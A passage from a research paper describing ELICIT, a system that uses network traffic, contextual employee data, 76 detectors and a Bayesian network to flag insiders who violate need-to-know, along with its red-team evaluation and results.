proach for detecting insiders who operate outside the scope of their du-
ties and thus violate need-to-know. Based on the approach, we built and
evaluated elicit, a system designed to help analysts investigate insider
threats. Empirical results suggest that, for a specified decision threshold
of .5, elicit achieves a detection rate of .84 and a false-positive rate
of .015, flagging per day only 23 users of 1, 548 for further scrutiny. It
achieved an area under an roc curve of .92.

Keywords: misuse, insider threat, anomaly detection.

1 Introduction

Recently, the fbi arrested analyst Leandro Aragoncillo after he allegedly “con-
ducted extensive keyword searches relating to the Philippines” and “printed
or downloaded 101 classified documents”, also relating to the Philippines [1].
Although Aragoncillo was an intelligence analyst, information about the Philip-
pines was “outside the scope of his assignments” [1].

We are interested in detecting this type of malicious insider, but the problem
of detecting insiders is much more complex and multi-faceted. For instance, ma-
licious insiders are often disgruntled [2], so better working environments could
lead to a reduced threat. Better processes for screening employees could also
reduce the threat. On corporate intranets, one may be able to deploy methods
traditionally used against external intruders to counter an insider who is, say,
attempting to gain unauthorized access to a server. In contrast, we are interested
in detecting malicious insiders who operate within their privileges, but who en-
gage in activity that is outside the scope of their legitimate assignments and
thus violate need-to-know.
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In this paper, we describe our efforts to develop and evaluate methods of
detecting insiders who violate need-to-know. Based on analysis, research, and
consultation with domain experts, we designed an approach that consists of four
main steps. First, decoders process network traffic from protocols associated with
the use of information into higher-level information-use events. Second, a suite
of detectors, supplanted with contextual information about users, groups, and
organizations, examines these events and issues alerts. Third, a Bayesian network
uses these alerts as evidence and computes threat scores. Fourth, an interface
presents events, alerts, and threat scores of users to security analysts. Based
on this approach, we implemented a system named elicit, which stands for
“Exploit Latent Information to Counter Insider Threats.”

To support elicit’s development and evaluation, we derived a data set from
284 days of network traffic collected from an operational corporate intranet. Over
a period of 13 months, we processed 16 terabytes of raw packets into more than
91 million information-use events for more than 3, 900 users. We then examined
these events to characterize the searching, browsing, downloading, and printing
activity of individuals, groups of individuals, and the organization as a whole.
We built 76 detectors and a Bayesian network that, together, produce an overall
threat score for each user in the organization.

To evaluate our approach and elicit, a red team developed scenarios based
on information from real, publicly-available cases. They translated the scenarios
to the target environment and executed them during normal network operation.
A trusted agent1 used scripts to insert events of the scenarios into our collection
of events. We then ran elicit, as would an analyst, in an effort to identify the
users corresponding to the scenarios.

Over a period of two months, using a specified decision threshold of .5, elicit

detected the insiders on 16 of the 19 days they were acting maliciously, corre-
sponding to a detection rate of .84. During this same period, elicit scored an
average of 1, 548 users per day, with an average of only 23 users scoring high
enough to warrant further scrutiny, meaning that elicit’s average false-positive
rate is .015. By varying the decision threshold, we produced an roc curve, the
area under which was .92.

2 Problem Statement

There are many detection tasks important for securing systems, their software,
and their information, such as detecting intruders [3,4], and anomalous command
[5] and system-call [6] sequences. We focus on the task of detecting misuse,
defined as legitimate users abusing their privileges.

Detecting misuse is a complex, multi-faceted problem, and malicious insid-
ers, or simply insiders, may engage in a variety of activities. Insiders could use
knowledge of their organization’s intranet and behave in a manner similar to an
intruder. Such activities could include scanning ports, executing buffer overflows,
1 Herein, all uses of the term trusted agent refer to the person serving as the interme-

diary between the red team and the research team.



148 M.A. Maloof and G.D. Stephens

and cracking password files, and one can detect these activities with methods of
intrusion detection. Insiders could also masquerade as another user by compro-
mising his or her account. However, in our work, we are interested in detecting
malicious insiders who do not engage in these activities.

In a computing system, access-control mechanisms yield a set of illegal and
legal actions for each user. Such actions include viewing certain documents, and
so, there will be documents that a user can and cannot view. Unfortunately,
for large, dynamic organizations, it is difficult to design and maintain effective
access control. Consequently, given the set of legal actions for a user, there is a
set of such actions that is suspect, especially given contextual information about
the user. In our work, we are interested in detecting insiders who browse, search,
download, and print documents and files to which they have access, but that
are inappropriate or uncharacteristic for them based on contextual information,
such as their identity, past activity, and organizational context.

Our conception of detecting insiders is quite different than detecting external
intruders. One rarely, if ever, has the contextual information for such intruders
that one has for insiders. Our aim is to leverage this context for detection.
It is also different than detecting internal intruders, since insiders who violate
need-to-know do not need to break rules to achieve their goals. All detection
systems must analyze events at correct levels of abstraction, and the insiders
of interest to us usually gather and exfiltrate documents. Consequently, rather
than detecting malicious activity based on connections, packets, or system-call
sequences, we chose to detect insiders based on information-use events, which
we describe further in the next section.

3 Data Collection

We derived the data set for our study from an operational corporate intranet.
In the following subsections, we describe how we processed network traffic into
information-use events, collected contextual information about users and the
information they accessed, and developed scenarios for the purpose of evaluation.

3.1 Transforming Network Traffic into Information-Use Events

To collect network events, we placed passive sensors between clients and servers
within a large corporate intranet for 284 days.2 The sensors collected packets
from network protocols correlated with the legitimate use of information, a criti-
cal aspect of our work. In total, we captured approximately 16 terabytes of data,
2 We experienced three outages. Two months into the period, an administrative error

resulted in an outage for two days. Three months later, an unanticipated network
reconfiguration caused a near-complete loss of data for five days. Four months into
collection, we discovered and corrected an error in the software that captured packets.
Subsequent analysis indicating that the flawed version failed to capture about 9% of
the packets, with the majority of the loss occurring during traffic bursts. Nonetheless,
data from this period was helpful for analysis and development. Crucially, the red
team did not execute the scenarios until after we resolved these problems.
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Table 1. Information Stored for Events

Actions
Field List Delete Read Write Move Print Query Send

Protocol X X X X X X X X
File Name/Path X X X X X X X X
Start/Stop Time X X X X X X X X
Client/Server ip X X X X X X X X
User Name X X X X X X X X
Bytes X X
Original File Name X
Printer X
Pages X
Search Phrase X
E-mail Headers X

corresponding to 27 billion packets. In the collection, 61% of packets were from
the smb protocol, 35% were from http, 3%, from smtp, and 1%, from ftp.

We developed a series of protocol decoders to transform the packets into
information-use events. These decoders also tracked authenticated users across
sessions and captured clues about their identity, which aided in subsequent attri-
bution. Off-line, the trusted agent used Ethereal [7] to filter and dissect packets,
and then applied our decoders to produce information-use events. Over a period
of 13 months, the decoders processed more than 3.7 billion packets, producing
more than 91 million events, which we stored in a relational database.

Referring to Table 1, each event consisted of an action and variable number of
fields. Decoders extracted eight actions. In our collection, 35.8% of the actions
were lists of files or directories, 42.1% were reads, 12.9% were writes, 4.6% were
deletes, 2.9% were sends of e-mail, 1.1% were search-engine queries, 0.4% were
prints of documents, and 0.3% were moves of files or directories. The decoders
also extracted fields such as the start and end time of the action, the protocol
involved, and other pertinent information. Table 2 contains an example of a
print event in which user p0314508p printed a document named Liz’s form
fax.doc to the printer \\spool2\335-HP. Values for all other fields are null.

With the exception of send, we selected these actions and fields based on
analysis of past insider cases and hypotheses about which would be useful for
detecting violations of need-to-know. Then, during decoder development, we
implemented routines to capture information from e-mail because we realized
that it would be useful for constructing social networks.

We did not collect data directly on clients, so our approach is network-based,
rather than host-based. In the environment we monitored, it would have been
impractical—though desirable—to instrument every machine with the software
necessary to collect events. We also did not collect packets inbound from or
outbound to the Internet due to concerns about privacy. If our approach were
used in an organization where such technical and privacy issues could be re-
solved, elicit’s design is flexible enough to accommodate these new sources of
information.
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Table 2. Example of the Relevant Fields of a Print Event

Field Value

Action print
Protocol smb
File Name Liz’s form fax.doc
Start Time 2005-02-03 10:32:16.993
Stop Time 2005-02-03 10:32:17.003
Client ip ddd.ddd.ddd.13
Server ip ddd.ddd.ddd.239
User Name p0314508p
Bytes 2672
Printer \\spool2\335-HP
Pages 1

3.2 Collection of Contextual Information

In addition to events, we developed sensors that periodically collected contextual
information about the users and the information they accessed and manipulated.
This included information from an employee directory, such as name, office loca-
tion, job description, seniority, and projects. We also copied the contents of files
in users’ public directories on a shared file system, and we extracted information
from the directory structure itself, the branches of which often corresponded to
users, projects, and the organization’s business units. We stored this information
in a database, and Table 3 shows an example.

With this contextual information, we were able to build simple social networks
with e-mail traffic, use a person’s job description in the analysis of his or her
search-engine queries, and determine if someone printed to a printer close to his
or her office. It also let us compare a user’s behavior to that of peers, such as
those with the same job description and those working on the same floor, in the
same department, and on joint projects.

These comparisons illustrate a critical aspect of our work. We are not simply
examining network events between client and server ip addresses. We are mon-
itoring how users access and manipulate information, and we are coupling this
activity with contextual information about the users and the information itself.

3.3 Data Anonymization

To protect the privacy of the users, the trusted agent removed, anonymized,
or abstracted any identifying information before releasing it to us, the research
team. The trusted agent removed hire dates and phone numbers, replaced names
and user ids with pseudonyms, and abstracted office numbers to their floor.

An important concern is whether the process of anonymization introduced
artifacts that may have affected detection. For this study, phone numbers and
hire dates were not important for detection, so their removal was not problem-
atic. Name and user id are not relevant for detection, but are critical as labels
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Table 3. Example of Contextual Information for User p0314508p

Field Value

User Name p0314508p
E-mail Address p0314508p
User id p0314508p
Home Directory s:\p0314508p\public
Department Accounts Payable
Division Purchasing
Office Location 7th Floor
Job Title General Accounting Specialist
Job Category General Accounting
Job Level 3
Project 1 Accounts Payable
Project 2 Travel Accounting

connecting events and detector outputs. However, pseudonyms serve this purpose
equally well.

Abstracting office location to its floor did make it difficult or impossible to
conduct certain analyses, which may have negatively affected detection. For ex-
ample, we could not identify relationships between people who shared offices
or who worked in adjacent offices. Since ours is a research effort, we had to
accept that there was certain information we simply could not use or collect.
Nonetheless, even without this information, our results are promising.

3.4 Event Attribution

To use an individual’s context, such as their job description or social network,
we had to attribute each event to a user. Unfortunately, not all sessions, and
thus not all events, had information about the user who produced them. For
example, unprotected Windows file shares and web sites requiring no authenti-
cation generated events without identifying information. In the database, such
events have null values for their user ids.

Our collection contained three types of events: unattributed events, indirectly-
attributed events, and events directly attributed to a user because of an observed
successful authentication. For example, most smb sessions begin with an au-
thentication, and we can then attribute subsequent events of the session to the
authenticated user. Indirectly attributed events are those with some type of user
context, such as the sender’s address in an e-mail. Of the more than 91 million
events, 14.7% were directly attributed, 2.3% were indirectly attributed, and 83%
were initially unattributed.

With network engineers familiar with the network environment, we devised
two off-line methods to label unattributed events. Both used events occurring
before and after an unattributed event. The first was a nearest-neighbor method
that attributes an unattributed event to the user of the closest attributed event,
as measured by time. The second method uses a kernel function to give more
weight to the attributed events closer to the unattributed event. To reflect the



152 M.A. Maloof and G.D. Stephens

uncertainty of attribution sources (e.g., due to configuration or human errors),
network engineers determined measures of confidence for each, assigning print
events a weight of .999, send events a weight of .99, and ftp events a weight of
.9. Directly attributed events had a weight of 1 and unattributed events had a
weight of 0.

An attribution event ei is then a 3-tuple 〈ui, wi, ti〉, where ui is the id of the
attributed user, wi is the weight, and ti is the time of occurrence. For a given
client ip address, there is a sequence of attribution events with and without
attribution. Let S be a sequence of n events ordered by ti, and let S(u) be the
sequence of events from S attributed to user u:

S(u) = {〈ui, wi, ti〉 : 〈ui, wi, ti〉 ∈ S ∧ ui = u} .

If ei is an unattributed event (i.e., ui = ∅) occurring in the middle of sequence
S (i.e., i = n/2), then we attribute ei to the user in the sequence whose actions
have the maximum weight. That is, given the kernel function

K(ei, ej) = wje
−γ(ti−tj)

2
,

where γ determines the width of the kernel,

ui = argmax
u∈S

(∑
ej∈S(u) K(ei, ej)

)
.

For each unattributed event in a sequence, we applied both methods. With
the kernel method, we set γ = 5×10−5 and used overlapping sequences of events
that were 16 hours in length. If the weight calculated for an unattributed event
was less than 1 × 10−5, then the event remained unattributed. If both methods
returned the same user id, then we set the id of the unattributed event to the
inferred id. If the methods did not agree, then the event remained unattributed.

To evaluate this procedure, we compared performance to our two network en-
gineers. We randomly selected 100 unattributed events and applied our attribut-
ion procedure. We provided the same events to both experts, who independently
attributed the events. They then resolved any differences to produce a single
set of attributed events. Our procedure agreed with the experts on 99 of the
100 events. The disagreement involved an ambiguous event from a multi-user
machine that belonged either to the end of one user’s session or the beginning
of another’s.

Applying this procedure to all of the events, we were able to infer attribution
for 65% of the previously unattributed events. About 28.6% of the events in
the collection remained unattributable, but 82% of these originated from 25
hosts running automated processes. Those remaining were ambiguous events
from clients with multiple, concurrent users.

3.5 The Need for Meta-Events

Early on, we noticed that users initiating certain simple actions produced an
inordinate number of information-use events. Executing a find command on a
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Table 4. Scenarios and Their Descriptions

Scenario Description

s1 Employee who gathers technical information about aviation and aero-
nautics, topics that are outside the scope of the employee’s duties.

s2 System administrator who obtains financial information, such as internal
reports, disclosure statements, labor rates, and the like.

s3 Disgruntled employee who is to leave the company and gathers a large
amount of widely varying documents containing sensitive, proprietary
information.

s4 Employee who collects a large volume of information about knowledge
management, which is unrelated to the employee’s duties.

s5 Employee who gathers software relating to aviation from a proprietary,
internal repository.

large, shared file system is one example. We also found that software automat-
ically updating files on clients or servers often accounted for most of a user’s
“browsing” activity (e.g., software updating a public calendar from a personal
calendar). While the information-use events of these sequences are interesting
themselves, we did not want the number of events in a sequence to skew certain
types of analyses.

As a result, we grouped certain sequences of directory and file events into
meta-events. We segmented a user’s events when there was a change in protocol,
a change in the server’s ip address, or when the separation between two events
was greater than ten seconds. Over each segment, we computed the number of
events in the segment, the rate at which the events occurred, and the percentage
of list events in the segment. If a segment was longer than 20 events and the
frequency of events was greater than two per second, then we labeled the segment
as a meta-event. If the percentage of list events within the segment was greater
than 90%, then we further labeled the segment as being the result of a find
command. In the database, we used a unique identifier to label events of a meta-
event. An additional field indicated whether the meta-event was the result of a
list or find command. Although we determined these thresholds empirically, we
found that this heuristic method worked well for our events.

3.6 Scenario Development and Execution

The data set described so far consists of activity for 3, 983 users. It has proven
invaluable for analysis and the development of detectors. However, it contains
no known malicious activity, which limits our ability to evaluate our approach.

In response, a red team constructed fifteen scenarios inspired by public cases
that involved the gathering of illicit information by individuals such as Aldrich
Ames, Ryan Anderson, and Brian Regan. Domain experts reviewed the scenar-
ios and adapted them to the network we monitored. Once approved, the red team
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executed the five scenarios listed in Table 4 during normal network operation.
Three of the five scenarios were executed by two different members of the red
team (i.e., s2, s3, and s4) in an effort to assess the role that individual person-
ality might play in scenario execution and detection. This resulted in a total of
eight scenario executions. (We did not execute the remaining scenarios because
members of the red team were assigned to other projects; we plan to use the
scenarios in future work.)

The red team used their legitimate accounts to execute scenarios during nor-
mal network operation, which let the trusted agent process the “benign” and
scenario data together. Using the red team’s detailed logs of their activity and
demarcation events sent via e-mail, the trusted agent isolated and then removed
the scenario events from the benign collection of information-use events. This
let the trusted agent insert and remove individual scenarios at will.

The members of the red team were knowledgeable about insider activity and
investigations. They were given the scenario and its translation, and instructed
to achieve an objective (i.e., steal information) in a manner consistent with the
scenario and its insider. These instructions identified specific topics, documents,
and systems (e.g., financial), but their actions were not tightly scripted. Members
were not told how to achieve their objective or the time over which an attack
must occur. To make inserting and removing the scenario events possible, they
were told not to intermix benign and malicious activity between demarcation
events. While not all insider attacks follow this profile, many do because insiders
often take advantage of windows of opportunity.

The research team and the red team worked in isolation with the trusted
agent mediating interactions. The teams did not share domain experts, and the
research team had no insight into the development, execution, collection, and
insertion of scenarios and their events until after the completion of elicit’s de-
velopment and evaluation. Although the teams worked in isolation, in retrospect,
they independently profiled some of the same insiders, such as Regan, Ames, and
Hanssen. However, the red team also profiled insiders that the research team did
not, such as Ryan Anderson and Ana Montes. The research team did not know
how the red team would translate the scenarios (e.g., that aviation would be a
topic of interest).
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4 The elicit System

elicit is a research prototype designed to help analysts investigate malicious
insiders. As shown in Fig. 1, it consists of four main components: a database of
events and contextual information, a set of detectors, a Bayesian network, and
a user interface.

As described previously, we processed packet data from the network and stored
the resulting events in a relational database system. Based on our analysis of
these events, consultation with experts, and public information about past cases,
we designed and built detectors that, over specified periods of time, examine
events in the database and return a set of alerts. A Bayesian inference network
uses the alerts as evidence and computes, for each user, an overall threat score.
Finally, elicit presents the users and their scores to an analyst through the user
interface.

4.1 Detectors for Anomalous Activity

To date, we have developed 76 detectors that examine events for volumetric
anomalies, suspicious behavior, and evasive behavior. We define each detector
along three dimensions: the activity’s type, its characteristics, and its context.
The type of activity can be browsing, searching, downloading, and printing.
Each detector examines characteristics of the activity, such as when the activity
occurred, where it occurred, and how (or to what extent) it occurred. Finally,
each detector evaluates activity in context with past activity, with the activity
of organizational or professional peers, or with the activity of the peers in some
social network.

Each detector works by taking as arguments a time period and a set of para-
meters, by examining each person’s activity during the time period and relevant
contextual information, and by issuing an alert, provided that the user’s activity
meets the detector’s criteria for reporting. Some detectors use only the user’s
events that occurred during the specified period of time, while others analyze
events of other types, of other users, or from other periods of time. Some detec-
tors alert when users engage in specific activities, such as conducting searches
using inappropriate terms. Others alert when some aspect of user activity is ex-
cessive or anomalous, which means that some measure of that activity falls into
a rejection region.

We based each detector on a hypothesis about the activities in which malicious
insiders might engage. We formed and supported each hypothesis with analysis
of the events in our data collection, with advice from domain experts, with
information from public cases, or with some combination thereof. As one might
expect, we could not always support a hypothesis because one or more of the
other sources refuted it. For example, if we found evidence of suspicious activity,
but an expert advised that it was not indicative of malicious insiders, then a
detector for that activity would be of little use, at least for the environment we
monitored. It is important to note that detectors suitable for one environment
may not be suitable for another.
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Since we had no traces of real insider attacks and no models of insider behav-
ior for the network we monitored, we consulted with three domain experts. For
several years, they have performed technical analysis of active insider cases in-
volving the theft or misuse of information. They were familiar with the network
we monitored and its users. They advised us on the activities in which insiders
might engage and helped determine the parameters of detectors.

To implement detectors, we used a variety of methods, including hand-coded
rules, and parametric and nonparametric density estimation. We also exploited
social networks. To set their parameters, we described and presented to our
experts the observed activity in both textual and graphical form using events
from the database and histograms of the activity of individual users and groups
of users (e.g., with the same job title). The experts came to a consensus about
what they considered excessive or anomalous, and we used this information to
set the parameters and thresholds of the detectors. We make no claims that these
are optimal settings, but based on observation and expert feedback, they seem
to be reasonable estimates. Unfortunately, due to space restrictions, we cannot
describe all 76 detectors, so we describe a representative few.

Sensitive Search Terms. Insiders use search engines to find, evaluate, and collect
information. Most organizations can define a set of sensitive terms that appear
in documents, but that would be inappropriate for use as query terms. The term
proprietary is an example. With the help of domain experts, we constructed a
list of thirteen such search terms, and if someone’s query contains one of the
terms on this list, then the detector issues an alert.

Printing to a Non-Local Printer. It is important to note that in the organizations
of interest to us, printing a document is often the only way of removing informa-
tion. Computers are on networks isolated from the Internet and have their usb

ports and external storage systems disabled. Evidence from publicly-available
documents suggests that insiders collect and print documents on topics outside
the scope of their duties. Presumably, the insider’s co-workers would recognize if
the topic of a printed document were inappropriate. Consequently, to avoid sus-
picion, an insider may print inappropriate documents to a distant or non-local
printer.
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Fig. 2. Number of documents printed plotted against the distance of the printer from
the user’s office. (a) The fully scaled graph. (b) A version scaled to emphasize the bars
right of the mode.
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In the environment we monitored, an overwhelming majority of users printed
to their local printer, as shown in Fig. 2. The graphs show the number of doc-
uments printed plotted against the distance to the printer when the user prints
from his or her office. The distance is the number of floors from an individual’s
office to the printer.

As shown in Fig. 2a, over a six-week period, users printed 34, 279 documents,
with 32, 475 of these documents sent to printers on the same floor as their office.
In Fig. 2b, which contains a scaled version to emphasize the bars to the right of
the mode, notice the small spike at a distance of four. Five users, all from the
same department, were responsible for 22 of these 25 print jobs. We are unsure
why these users would print from their offices to a printer four floors above.
They may have been printing to a printer in a lab.

Writing a detector for non-local prints was quite easy. In the database, we
stored each user’s office location, each printer’s location, and for each document
printed, the user who issued the print command, the location where the user
issued the print command, and the printer to which the user sent the document.
The detector alerts if the user prints from his or her office to a printer on a
different floor.

Anomalous Browsing Activity. To take into account a user’s past activity, we im-
plemented a number of detectors that alert when anomalous events occur. These
include the size of a document printed, the number of documents downloaded,
the number of search queries issued, and the like. One such detector alerts when
a user browses an anomalous number of documents in a 15-minute period.

In the environment we monitored, in 15-minute periods, people often browsed
few documents and rarely browsed many documents. Using a χ2 test of goodness
of fit, we determined that the number of documents browsed in 15-minute periods
follows a folded-normal distribution [8].

For a given time period and user, the detector calculates the maximum num-
ber of browses for the user during a 15-minute interval within the time period.
The detector then retrieves the number of browses during each 15-minute period
going back a certain number of days from the start of the time period. It then
estimates the parameters of a folded-normal distribution [8], the mean, the stan-
dard deviation, and the number of nonzero 15-minute intervals. Then, using the
density function, it computes the probability that the user would conduct the
maximum number of browses observed in the time period. If the probability is
below a threshold, which we determined with the help of domain experts, then
the detector alerts. We also implemented a version that uses a kernel-density
estimator [9].

Retrieving Documents Outside of One’s Social Network. Insiders often steal in-
formation to which they have access, but that is outside the scope of their duties,
and thus, is not closely associated with them—closely associated in terms of topic
and the information’s owners and originators at individual and organizational
levels. If the organization discovers that its information has been compromised,
then this disassociation makes it more difficult to determine the leak’s source.



158 M.A. Maloof and G.D. Stephens

For each individual of the organization, we automatically built a social net-
work based on the people in their department, whom they e-mailed, and with
whom they worked on projects. With nodes corresponding to people, we used
unweighted directed arcs to represent these associations. We then examined the
extent to which individuals retrieved documents from the public directories of
people inside and outside their social network.

Over a period of five months, we tallied the number of documents that each
user retrieved during each 15-minute interval. We then expressed this count as
the percentage of documents retrieved from others who were outside the user’s
social network. Subject-matter experts selected as a threshold the percentage
that they considered excessive. We built a detector that, when invoked, con-
structs a social network for each user and counts the number of documents
retrieved from outside this network. If the count surpasses the threshold, then
the detector alerts.

4.2 Bayesian Network for Ranking

For a given user, elicit’s 76 detectors may alert in any combination. Presently,
if a detector alerts, it simply reports true, so there are 276 possible combinations
of alerts. It is unlikely that any analyst would be able to understand such a set
of alerts for all but the smallest of organizations or groups of users.

We wanted elicit to rank each user of the organization using a threat score.
Naturally, each user’s score would be based on the alerts that his or her activity
produced. The simplest method would be to use as a score the total number
of alerts, but alerts are not equally predictive of insider behavior, and benign
users may engage in many of the same activities as does an insider. We consid-
ered asking experts to weight the alerts based on their correlation to malicious
behavior, but this brought up the issue of how to combine weights, especially
when detectors do not alert and there is an absence of evidence. There also may
be other “external” events that cause benign users to change their behavior. For
example, a task force created in response to a crisis may produce anomalous
activity, such as searching, browsing, and printing during odd hours.

To cope with these challenges, with the help of domain experts, we designed
and constructed a Bayesian inference network [10]. Our early designs, while
accurate, were too complex, especially when we considered the task of eliciting
probabilities from analysts. We settled on a three-level, tree-structured network
(see Fig. 1) consisting of Boolean random variables.

The first level consists of one node for the random variable MaliciousInsider.
The second and third levels correspond to the activities in which a malicious
insider will or will not engage (e.g., using inappropriate search terms) and the
detectors of those activities that will or will not alert, respectively. There are 76
nodes in both the second and third levels. The nodes of the second level represent
the probability that a user will or will not engage in some activity given that
he is and is not a malicious insider. The nodes of the third level represent the
probability that a detector will or will not detect such activity given that it does
and does not occur on the network.
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For nodes of the top two levels, we elicited probabilities from three domain
experts, mentioned previously. We conducted several sessions and elicited the
conditional probabilities for all of the activities given that the insider was and
was not malicious.

For the nodes of the bottom, detector level, we determined the conditional
probabilities using either theoretical arguments or empirical methods. For these
nodes, we set the probability of detection given that the activity occurs to 1.
(Strictly speaking, these probabilities are not 1, and we discuss this issue further
in Sect. 6.) To determine the probabilities of false alarm for the detectors, we
first assumed the events in our collection are normal. For detectors based on,
say, parametric estimators, we set the false-alarm rate based on the threshold
that the detector uses to report anomalous events.

For example, a detector that alerts when a user prints an anomalously large
number of documents uses an estimator based on a folded-normal distribution
[8]. Our experts indicated that they would consider suspicious any number of jobs
occurring with a probability of less than .015. Since the number of print jobs for
a given user follows a folded-normal distribution and the events in our database
are normal, the detector’s false-alarm rate is also .015. For other detectors, we
determined their false-alarm rate empirically, by calculation or by applying them
and counting the number of alarms. For example, consider detectors that alert
when activity occurs outside of normal working hours. Since we assumed that
the events in our collection are normal, the false-alarm rate for such detectors is
the proportion of events that occur outside of normal working hours.

When elicit invokes the detectors for a given user, for the detectors that alert,
it sets to true the value of the nodes of the third level corresponding to those
detectors. It then propagates this instantiated evidence throughout the network,
thereby calculating a probability distribution for the node MaliciousInsider. We
use P (MaliciousInsider) as the user’s threat score, and if it is above a specified
decision threshold (e.g., .5), then elicit issues an alert for that user. We store
all of this information in the database.

5 Evaluation

When we were ready to evaluate elicit, the trusted agent selected a scenario at
random, inserted it into the database of events, and told us the month into which
it was inserted. We ran elicit over the entire month and notified the trusted
agent, who scored elicit’s performance and removed the scenario’s events from
the database. The trusted agent then reported to the research team elicit’s
rank and threat score for each day the scenario’s insider was active.

We evaluated elicit on eight scenario executions, and in Table 5, we present
results for six of these executions. The table contains the member of the red
team who executed the scenario, the day of activity, the number of preceding days
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Table 5. elicit’s Performance on Six Scenario Executions

Active Preceding Days
Scenario Executor Day of Inactivity Sessions Score Rank Detect

s1 rt4 1 – 1 .994 1
√

2 1 1 .999 1
√

3 2 1 .999 1
√

4 3 1 .994 1
√

s2 rt1 1 – 3 .999 1
√

s2 rt4 1 – 1 .033 341
2 1 2 .999 1

√

3 3 1 .999 1
√

s3 rt2 1 – 1 .999 1
√

2 1 1 .999 1
√

3 1 1 .999 1
√

4 1 1 .984 2
√

s4 rt2 1 – 2 .999 2
√

2 3 1 .999 1
√

3 1 1 .992 2
√

4 1 3 .999 1
√

5 2 1 .587 20
√

s5 rt2 1 – 3 .071 149
2 1 5 .037 238

of inactivity, the number of sessions per day, and the insider’s threat score and
relative ranking. Using a decision threshold of .5, we counted as a detection any
insider scoring above this threshold. We present results for only six executions
because when we analyzed the scenarios after completing elicit’s evaluation, we
noticed that for two of the executions (s3 and s4), an unintentional error in the
settings of a user’s web proxy routed the scenario’s traffic around our sensors.
We removed these two executions from further consideration.

As one can see, elicit detected insiders on 16 of the 19 days they were active.
Notice that rt1 executed scenario s2 in one day, whereas rt4 executed it on
three days spanning one week. With the exception of s5 and rt4’s execution of
s2, elicit detected the insiders on their first day of activity. elicit performed
poorly on scenario s5, and we discuss the reason for this in the next section.
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Fig. 3. Threat scores for three users for March
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Fig. 4. Threat scores for all users for three days. (a) 462 users for 3/4/05, a Friday.
(b) 523 users for 3/7/05, a Monday. (c) 36 users for 3/27/05, a Sunday.

6 Analysis and Discussion

After completing our evaluation of elicit, the red team provided information
about the scenarios and their events, which we analyzed along with the threat
scores for individual users and for all users. In Fig. 3, we present the threat
scores for three users for the month of March. The scores of most users were
similar to those pictured in Figs. 3a and 3b, which indicate little or no malicious
activity. However, less typical are the scores in Fig. 3c, which spike above .9
on five different days. In an operational environment, elicit would flag and
analysts would further investigate individuals with such scores.

In Fig. 4, we show the threat scores for all users on three different days. The
scores in Figs. 4a and 4b are from work days, and those in Fig. 4c are from a
Sunday (when there are fewer users). These plots are typical and illustrate how
elicit scores users on different days and how few users obtain relatively high
scores. During work days, elicit scored an average of 1, 548 users, with 552
users scoring above 0. Of these, 23 users scored above .5.

Using .5 as the decision threshold, we estimated elicit’s false-positive rate.
Although our collection contains activity for 3, 938 distinct users, during March
and June, when the red team executed the scenarios, there were 1, 548 active
users on average. For these same months, not including the insiders, an average
of 23 users scored above .5. Consequently, elicit’s average false-positive rate
is .015. Since elicit detected insiders on 16 of the 19 days they were active,
its detection rate is .84. We constructed an roc curve by varying the decision
threshold and then approximated the area under the curve using the trapezoid
rule, which yielded an area of .92.

We have conducted a thorough analysis of the scenarios and their events, but
here, we can present only the key insights. We first examined why elicit failed
to detect scenario s5, which required the member of the red team to retrieve
proprietary software from an internal repository. Although our sensors captured
the activity, we had not developed detectors to monitor that specific server. Put
simply, our detectors were focused on documents rather than on software. We
will address this issue in future work.

elicit did not detect the first day of activity of rt4’s execution of s2. It
consisted of the browsing of a specific financial system and relatively few events
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(135). As before, we had no detectors tailored expressly for activity involving
the financial system. On the first day of the scenario, two detectors alerted
on rt4’s browsing activity, but these alerts were insufficient to produce a high
threat score. However, on the second and third days, there were more events (202
and 306, respectively) and a broader range of activity. This activity produced
substantially more alerts—22 on the second day and 20 on the third—and higher
threat scores, resulting in detections on those days.

We were concerned that a large number of events might have produced high
threat scores. Indeed, of the scenarios we detected, all were in the 75th percentile
in terms of the total number of daily events (i.e., accounting for both benign and
anomalous activity). However, when we examined the correlation between the
number of events and the threat scores for all users scoring above the decision
threshold in the months of March and June, the coefficients were .026 and −.023,
respectively. Consequently, we concluded that elicit’s detections were not due
to the number of events in the scenario executions.

We were also concerned that a red-team member’s decision to run all of his or
her sessions in a single day (versus one session per day) might have affected the
daily threat scores. To investigate, for the days involving multiple sessions, we
inserted each session individually and ran elicit. elicit did not detect the first
session of the second day of rt4’s execution of s2, and it did not detect the first
session of the first day of rt1’s execution of s2. On the other hand, evaluating
elicit on the individual sessions did not result in any new detections. Ultimately,
we concluded that a person’s decision to execute multiple sessions in a single day
did not significantly affect performance.

As for elicit’s successes, our analysis suggests that based on the scenarios
and their executions, the right detectors were alerting on the right activities. Sce-
narios s1, s2, and s4 involved employees who gathered information unrelated to
their duties. Detectors for anomalous volumes of searching and browsing alerted,
as did detectors indicating that there were queries atypical for the user.

As for elicit’s false positives, we found no single consistent pattern of alerts
that resulted in false alarms. However, individuals in non-technical administra-
tive roles, representing 10% of the user population, accounted for 39% of all false
alarms. Our analysis suggests that administrative staff engaged in many of the
activities that elicit should detect: large amounts of activity and a breadth of
activity spanning organizational boundaries.

Regarding the red-team member’s incorrect proxy settings, in practice, insid-
ers could attempt to route traffic around sensors. However, this requires specific,
technical knowledge of sensor placement and traffic routing. The insider may ob-
tain little feedback about the success of these countermeasures, and attempting
such changes could increase the chance of being detected. In the organizations
of interest to us, such changes could be a serious violation regardless of intent.
Nonetheless, this illustrates the importance of complementary host-based ap-
proaches, which could make such attacks more difficult to launch.

Our results are significantly better than the current state of practice, which
involves matching ad hoc patterns, auditing randomly-selected individuals, and
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auditing based solely on the volume of user activity. When interpreting our
results, it is important to keep in mind that this task is quite different than
detecting intrusions, which focuses on rule breaking.

False positives are always a concern, but the number of entities (i.e., users)
that elicit processes per day is orders of magnitude smaller than the number
of entities (e.g., connections) that intrusion-detection systems process in much
shorter periods of time. Once elicit reports a detection, a user’s historical ac-
tivity and contextual information play a critical role in subsequent analysis.
Such information is largely absent when investigating potential external intru-
sions. Indeed, elicit’s interface provides enough information and context about
individuals that analysts were able to quickly absolve false positives.

When interpreting the number of false positives, one must also take into ac-
count the cost of false negatives, which is substantially higher than that of other
detection tasks. At stake is national security. We have not conducted a formal
cost analysis. However, anecdotal evidence suggests that, because of the damage
these insiders cause, organizations interested in detecting violations of need-to-
know are willing to tolerate false positives at much higher rates than with other
applications.

Two other important distinctions of this task are the rate of attack and the
time over which attacks occur. Rather than occurring in milliseconds (in the case
of worms), attacks by insiders who violate need-to-know occur over days, months,
and even decades, in the case of Robert Hanssen. Publicly-available information
